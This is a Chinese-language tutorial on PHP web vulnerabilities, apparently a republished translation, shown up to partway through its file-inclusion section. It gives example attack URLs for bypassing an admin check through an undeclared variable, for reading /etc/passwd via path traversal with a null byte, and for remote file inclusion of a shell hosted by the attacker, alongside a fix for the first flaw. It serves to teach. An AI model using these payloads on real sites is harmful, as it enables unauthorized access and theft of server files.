扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
0×00: 前言
0×01: 关注全局变量
# 修补
0×02: 文件包含
# 修补
0×03: 跨站脚本
0×04: SQL注入
\_ 0×04a: 绕过登陆验证
\_ 0×04b: 1 Query? No.. 2 one!(译注:不好翻译,还是保留原文吧!)
# 修补
0×05: 文件遍历
# 修补
0×05: 结论
—[ 0x00: 前言]
大家好!首先对我糟糕的英语表示抱歉,因为它不是我的母语.
在本教程中,我将会向大家介绍一些主要的php漏洞,以及如何发现、利用并修补它!
—————————————————————————–[/]
—[ 0x01: 关注全局变量]
在php中,你并不一定需要声明变量(这对程序员来说确实是件好事),当你必须使用它时它会“自动”创建的。你可能认为这是件不错的事,确实如此,但这只是偶而发生的事情。
众所周之,PHP经常要获取用户的输入值,并对其进行处理。假如我们在使用一个未声明过的变量时,就可能会引发web程序的安全问题。例如下面一段代码:
[...]
if ($is_admin == 1) {
//Yes, I’m the admin so call the Administration Pannel
[...]
} else {
//No, I’m not the admin
[...]
}
上面的变量$is_admin ,我们在使用前并未声明过,那么我们是否可以绕过该变量(在bugged.php文件中)而访问未经授权的管理面板呢?答案是肯定,但我们该如何添加管理认证权限呢?其实很简单,比如:
http://remote_host/bugged.php?is_admin=1
—[ 修补 ]—
如何修补该漏洞呢?这很容易:在if语句前声明变量$is_admin 即可,代码如下:
$is_admin = 0;
[...]
if ($is_admin == 1) {
//Yes, I’m the admin so call the Administration Pannel(为真,则说明是管理员,因此被重定向管理界面)
[...]
} else {
//No, I’m not the admin(为假,则不是管理员)
[...]
}
—————————————————————————–[/]
—[ 0x02: 文件包含]
—–[本地文件包含]
PHP是种杰出的语言,强大而简单;但是如果你不想在你的代码中出现安全问题,那么你就必须注意一下你的代码了。
在一些情况下,使用动态包含文件(部分路径名存在某个变量中)确实是件好事。让我们看一下下面的代码:
include “/users/”.$include_path.”.php”;
[...]
?>
变量$include_path 在使用前并未进行任何声明,因此攻击者可以在该变量中输入恶意数据,使其包含其它文件(比如/etc/passwd..)。
用户通过修改URL中的$include_path 变量值可以很容易浏览其它文件。例如:
http://remote_host/bugged.php?include_path=../../../../etc/passwd%00
包含后的结果如下:
include “/users/../../../../etc/passwd%00.php”
[...]
?>
因此攻击者可以窃取到存在服务器上的所有密码。
- [ 注意 ] -
%00是一个NULL字符,用于“删除”PHP文件扩展名。如果省略掉NULL,将只会显示PHP文件的内容,因为包含文件的扩展名是PHP(include “/users/”.$include_path.”.PHP”)
——————————————————————————-
—–[ 远程文件包含]
先看一下下面的代码:
[...]
include($_GET['pag']);
[...]
?>
正如我们所看到的,变量$page 在使用前并未进行任何验证,因此恶意用户可以通过浏览器包含或者调用他的脚本,从而获得被害者电脑的访问权或者像上面说的一样——浏览文件。
例1(提权):
http://remote_host/inc.php?pag=[Evil Script - our shell located on our server]
例2(浏览文件):
http://remote_host/inc.php?pag=/etc/passwd
—[ 修补 ]—
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。